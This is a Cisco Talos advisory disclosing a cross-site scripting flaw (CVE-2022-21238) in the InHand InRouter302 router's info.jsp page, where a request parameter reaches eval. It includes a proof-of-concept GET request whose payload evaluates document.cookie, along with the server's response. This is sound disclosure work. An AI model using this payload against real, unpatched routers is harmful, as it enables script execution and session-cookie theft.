Talos Vulnerability Report

TALOS-2022-1469

InHand Networks InRouter302 info.jsp cross-site scripting (XSS) vulnerability

MAY 10, 2022

CVE NUMBER

CVE-2022-21238

Summary

A cross-site scripting (xss) vulnerability exists in the info.jsp functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted HTTP request can lead to arbitrary Javascript execution. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

InHand Networks InRouter302 V3.5.4

Product URLs

InRouter302 - https://www.inhandnetworks.com/products/inrouter300.html

CVSSv3 Score

5.4 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CWE

CWE-80 - Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Details

The InRouter302 is an industrial LTE router. It features remote management functionalities and several security protection mechanism, such as: VPN technologies, firewall functionalities, authorization management and several other features.

The inRouter302's web server allows to choose between two languages, Chinese and English. The language will influence the web interface among other things. To do so the device uses two JavaScript files, one for each language. To dynamically load the value based on the language, the web server uses the `resmsg_set` function:

```
void resmsg_set(char* resource_name)

{
  webcgi_set("_resmsg",resource_name);
  return;
}
```

Several APIs of the web browser have the following pattern: 1) call the function `resmsg_set` that will set the `_resmsg` cgi variable 2) parse and include the `info.jsp` web page. Following the `info.jsp` web page:

```
<% pagehead(infomsg.info) %>
[1]
<body>
    <form>
        <p>
        <script type='text/javascript'>
        <% resmsg() %>
[2]
        document.write(eval(resmsg));
[3]
        </script>
        </p>
        <script type='text/javascript'>
        document.write("<input type='button' value='" + ui.bk + "'
onclick='history.go(-1)' style='font:12px sans-serif;width:80px;margin-
left:10px'>");
        </script>
    </form>
</body>
</html>
```

The notation between `<%` and `%>` is used to dynamically resolve, by the web server, some information. For instance, at `[1]`, the web server will load the resources required for the web page, among which is the language resource. At `[2]`, the `<% resmsg() %>` will be substituted with the string `\nresmsg='<_resmsg>';\n`, where `<_resmsg>` has as value the first parameter provided in the `resmsg_set` function. Then the `resmsg` will go through, at `[3]`, an `eval` function.

The problem is that `info.jsp` is not limited in the access, and reaching `/info.jsp?_resmsg=<X>` will load the `info.jsp` web page and eval the `<X>` value. This can be exploited by an attacker performing XSS attacks.

Exploit Proof of Concept

By sending the following HTTP request:

```
GET /info.jsp?_resmsg=document.cookie HTTP/1.1
Host: 192.168.2.1
Cookie: web_session=5ab46261
```

The web server reply would be:

```
[...]
        <p>
        <script type='text/javascript'>
    resmsg='document.cookie';
        document.write(eval(resmsg));
        </script>
        </p>
[...]
```

When this response is rendered by a browser, it would result in evaluating the `document.cookie` and write it into the HTML DOM.

Vendor Response

The vendor has updated their website and uploaded the latest firmware on it. https://inhandnetworks.com/product-security-advisories.html https://www.inhandnetworks.com/products/inrouter300.html#link4

https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf

Timeline

2022-03-02 - Vendor Disclosure
2022-05-10 - Public Release
2022-05-10 - Vendor Patch Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
